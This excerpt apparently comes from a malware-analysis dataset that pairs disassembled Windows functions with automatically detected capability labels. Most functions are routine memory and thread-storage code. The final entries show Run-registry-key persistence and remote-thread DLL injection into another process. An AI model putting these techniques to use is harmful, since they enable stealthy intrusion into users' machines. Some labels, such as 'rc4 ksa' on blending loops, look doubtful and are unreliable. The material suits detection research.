joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ab4f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, dword [esp + 0x3c]
xor ebx, ebx
cmp esi, 1
je 0x42ab7f
cmp esi, 2
je 0x42ab7f
cmp esi, 4
je 0x42ab7f
cmp esi, 8
je 0x42ab7f
cmp esi, 0x18
je 0x42ab7f
cmp esi, 0x20
je 0x42ab7f
xor eax, eax
jmp 0x42ad49
mov ecx, dword [0x5245bc]
push ebp
push edi
xor edi, edi
mov dword [esp + 0x10], edi
test ecx, ecx
jle 0x42ad45
mov edx, dword [esp + 0x28]
mov eax, dword [edi*4 + 0x524d3c]
cmp dword [eax], edx
je 0x42abb2
inc edi
mov dword [esp + 0x10], edi
cmp edi, ecx
jl 0x42ab99
jmp 0x42ad45
cmp dword [esp + 0x38], 0x20
jne 0x42ad1c
mov eax, dword [eax + 8]
test eax, eax
je 0x42abf2
cmp esi, 0x20
je 0x42abce
cmp esi, 0xffffffff
jne 0x42abf2
push esi
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call eax
jmp 0x42ad43
mov eax, dword [esp + 0x2c]
inc eax
imul ebp, eax, 3
and ebp, 0xfffffffc
mov eax, ebp
mov dword [esp + 0x14], ebp
imul eax, dword [esp + 0x30]
push eax
push 0
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
test eax, eax
je 0x42ad45
mov ebx, dword [esp + 0x30]
test ebx, ebx
jle 0x42ace7
mov edx, dword [esp + 0x24]
mov ecx, eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ecx
mov esi, edx
test eax, eax
jle 0x42acc7
mov ebp, ecx
mov edi, eax
mov ecx, 0xff
movzx eax, byte [esi + 2]
sub eax, ecx
movzx ecx, byte [esi + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp + 2], al
movzx eax, byte [esi + 1]
sub eax, ecx
movzx ecx, byte [esi + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp + 1], al
movzx eax, byte [esi]
lea esi, [esi + 4]
sub eax, ecx
movzx ecx, byte [esi - 1]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp], al
lea ebp, [ebp + 3]
dec edi
jne 0x42ac58
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x30]
add edx, dword [esp + 0x34]
add ecx, ebp
dec dword [esp + 0x24]
mov dword [esp + 0x30], edx
mov dword [esp + 0x38], ecx
jne 0x42ac45
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x10]
mov eax, dword [edi*4 + 0x524d3c]
push esi
push dword [esp + 0x44]
mov esi, dword [esp + 0x20]
push dword [esp + 0x44]
push ebp
push ebx
push dword [esp + 0x40]
push esi
push dword [esp + 0x3c]
call dword [eax + 4]
push esi
push 0
push dword [0x5233e4]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x42ad45
cmp dword [esp + 0x38], 0x18
jne 0x42ad45
push esi
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call dword [eax + 4]
mov ebx, eax
pop edi
mov eax, ebx
pop ebp
pop esi
pop ebx
add esp, 0xc
ret 0x28
Function at 0x42e4b6
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push dword [0x524808]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
jne 0x42e517
push esi
push dword [0x524804]
push 8
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push edi
push dword [0x524808]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esi, dword [0x524800]
jmp 0x42e507
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x42e505
mov eax, dword [esi + 8]
add eax, edi
push eax
call ecx
pop ecx
mov esi, dword [esi]
test esi, esi
jne 0x42e4f5
push edi
push 0x42e454
call fcn.00462d67
pop esi
mov eax, dword [esp + 8]
add eax, edi
pop edi
ret 4

Function at 0x42e521
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
mov ecx, esi
push edi
and ecx, 3
je 0x42e537
push 4
pop eax
sub eax, ecx
add esi, eax
mov eax, dword [0x524804]
mov ebx, dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x42e56e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
push 8
push dword [0x5233e4]
mov dword [0x524808], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
push dword [0x524808]
call ebx
mov eax, dword [0x524804]
mov edi, eax
add eax, esi
push eax
push dword [0x524808]
mov dword [0x524804], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push eax
push 8
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ebp, eax
push ebp
push dword [0x524808]
call ebx
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
test esi, esi
jne 0x42e5ae
test ebx, ebx
je 0x42e5cf
push 0x14
push 0x524800
call fcn.0042eed7
pop ecx
pop ecx
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
test esi, esi
je 0x42e5cf
lea ecx, [edi + ebp]
push ecx
call esi
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x42f050
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
sub edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x42f096
mov ecx, dword [ebp - 4]
add ecx, 0xa
push ecx
push 0
mov edx, dword [0x524dc0]
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x42f0b7
mov edx, dword [ebp - 4]
add edx, 0xa
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [0x524dc0]
push edx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
shr edx, 1
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.0042f750
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 8], edx
mov esp, ebp
pop ebp
ret 8
Function at 0x42f0e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
add edx, 2
mov eax, dword [ebp - 4]
mov dword [eax + 8], edx
mov esp, ebp
pop ebp
ret

Function at 0x42f1b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov edx, dword [ebp - 4]
add eax, dword [edx + 8]
mov esp, ebp
pop ebp
ret

Function at 0x42f410
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x42f434
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov edx, dword [ebp + 8]
lea eax, [ecx + edx*2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
sub edx, 4
cmp dword [ebp - 8], edx
jl 0x42f484
mov eax, dword [ebp - 8]
add eax, 0x4000
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x524dc0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x42f4cc
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0x100000
jle 0x42f4cc
cmp dword [ebp - 8], 0x100000
jge 0x42f4a0
mov dword [ebp - 8], 0x100000
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x524dc0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx*2]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 8

Function at 0x42f4f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
shl ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
sub eax, ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov esp, ebp
pop ebp
ret 4
Function at 0x42f670
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
cmp edx, dword [ecx]
jb 0x42f6ae
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
cmp dword [ebp + 8], ecx
ja 0x42f6ae
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
sub ecx, dword [eax]
add ecx, 1
mov eax, ecx
jmp 0x42f6b0
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x42f720
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
add eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret 4

Function at 0x42fb00
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x520040]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x43a570
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x43a590
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x43a590
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a590
push dword [esp + 8]
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x44c820
Capabilities:
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
mov dword [edi + 4], 0
call fcn.0044e940
push 0x54
push edi
mov dword [esp + 0x14], eax
call fcn.0044e910
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x44c867
push edi
call fcn.0044e950
mov ecx, dword [edi]
push edi
mov dword [ecx + 0x14], 0x38
mov ecx, dword [edi]
mov dword [ecx + 0x18], esi
mov eax, dword [edi]
mov eax, dword [eax]
call eax
add esp, 8
mov dword [esi], fcn.0044c4b0
mov dword [esi + 4], fcn.0044c340
mov dword [esi + 8], fcn.0044c410
mov dword [esi + 0xc], fcn.0044c290
mov dword [esi + 0x10], 0x44cb80
mov dword [esi + 0x14], 0x44cb10
mov dword [esi + 0x18], 0x44c970
mov dword [esi + 0x1c], 0x44c140
mov dword [esi + 0x20], 0x44bff0
mov dword [esi + 0x24], 0x44c720
mov dword [esi + 0x28], 0x44cbf0
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 8]
mov dword [esi + 0x2c], eax
mov dword [esi + 0x38], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
test eax, eax
je 0x44c94a
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], 0x78
push ecx
lea ecx, [esp + 0xc]
push ecx
push str._ld_c
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0x10
test eax, eax
jle 0x44c94a
mov al, byte [esp + 0x10]
cmp al, 0x6d
je 0x44c939
cmp al, 0x4d
mov eax, dword [esp + 8]
jne 0x44c941
imul eax, dword [esp + 8], 0x3e8
imul eax, eax, 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ecx
ret
Function at 0x462d67
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x524848], 0
push ebx
push esi
mov esi, 0x524850
jne 0x462d93
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x524868], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x524848], 1
push dword [0x524868]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x462e30
push 0x14
push 8
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x462e5a
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x52484c]
test eax, eax
je 0x462dd5
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x52484c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x462e5f
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x524868]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x462e5a
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x463349
Capabilities:
Set thread local storage value

Disassembly:
push esi
push 0x184
push 8
push dword [0x5233e4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push esi
push dword [0x524cac]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push dword [esp + 8]
mov dword [0x524cb0], esi
and dword [esi + 0xa8], 0
or dword [esi + 0xac], 0xffffffff
or dword [esi + 0xb0], 0xffffffff
push esi
mov dword [esi + 0xa4], 0xffffff
mov dword [esi + 0x74], 2
mov dword [esi + 0x78], 0x3f
call fcn.00465f59
mov dword [esi + 0x58], 0x463f5c
mov eax, esi
mov dword [esi + 0x5c], 0x463fa8
mov dword [esi + 0x10], fcn.00463afd
mov dword [esi + 0x30], 0x4639ef
mov dword [esi + 0x64], 0x464032
mov dword [esi + 0x60], 0x463fea
mov dword [esi + 0x34], 0x46369f
mov dword [esi + 0x24], 0x463676
mov dword [esi + 0x28], 0x46364b
mov dword [esi + 0x2c], 0x46359d
mov dword [esi + 0x44], 0x463d62
pop esi
ret 4
Function at 0x469223
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
mov edx, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 0xd4]
mov dword [esp + 4], eax
test edx, edx
je 0x4692d9
imul eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
imul ecx, dword [esp + 0x28]
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
neg eax
add ecx, dword [esp + 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
push ebp
push edi
lea edi, [ecx + eax*4]
mov eax, dword [esp + 0x28]
mov ecx, dword [esi + 0xcc]
mov ebp, edi
imul ecx, ebx
add ecx, dword [esi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x4692b9
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 4]
xor byte [ecx], al
add ecx, esi
dec edx
jne 0x469294
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec edx
inc ebx
cmp dword [esi + 0xe8], 0
mov dword [esp + 0x3c], edx
jne 0x4692ce
add edi, dword [esp + 0x14]
jmp 0x4692d2
add edi, dword [esp + 0x24]
test edx, edx
jne 0x469272
pop edi
pop ebp
pop ebx
pop esi
pop ecx
pop ecx
ret 0x24

Function at 0x4695e4
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 8], edx
test ebx, ebx
je 0x4696be
imul eax, dword [esp + 0x1c], 3
mov ecx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x24]
neg ecx
push esi
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0x30]
push edi
imul edi, dword [esp + 0x30], 3
mov dword [esp + 0x10], ecx
add eax, dword [esp + 0x20]
add edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], edi
mov esi, dword [eax + 0xcc]
imul esi, ebp
mov dword [esp + 0x34], edi
add esi, dword [eax + 0xc8]
add esi, dword [esp + 0x28]
test edx, edx
jle 0x469694
mov ebp, dword [esp + 0x34]
mov ebx, 0xff
sub ebx, dword [esp + 0x40]
mov edi, edx
movzx eax, byte [esi]
movzx ecx, byte [ebp]
imul ecx, dword [esp + 0x40]
imul eax, ebx
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
inc ebp
mov byte [esi], al
inc esi
dec edi
jne 0x46965c
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
dec ebx
inc ebp
cmp dword [eax + 0xe8], 0
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x2c], ebp
jne 0x4696ab
add edi, ecx
jmp 0x4696af
add edi, dword [esp + 0x24]
mov dword [esp + 0x38], edi
test ebx, ebx
jne 0x469632
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28
Function at 0x469cde
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0xd4]
mov dword [esp + 8], eax
test esi, esi
je 0x469d93
imul eax, dword [esp + 0x20]
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
neg eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
imul eax, dword [esp + 0x34]
add eax, dword [esp + 0x20]
add edx, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [edi + 0xcc]
mov ebp, edx
imul ecx, ebx
add ecx, dword [edi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x469d74
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 3]
xor byte [ecx], al
add ecx, edi
dec esi
jne 0x469d4f
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec esi
inc ebx
cmp dword [edi + 0xe8], 0
mov dword [esp + 0x3c], esi
jne 0x469d89
add edx, dword [esp + 0x14]
jmp 0x469d8d
add edx, dword [esp + 0x24]
test esi, esi
jne 0x469d2d
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 0x24
Function at 0x6efc13a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x6efc141f
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x6efc14ac
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x6efc148f
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x6efc14ac
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret
Function at 0x6efc1518
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6efc1668
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6efc16ae
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6efc16f7
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6efc16f4
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6efc16f7
mov eax, dword [ebp - 0xc]
leave
ret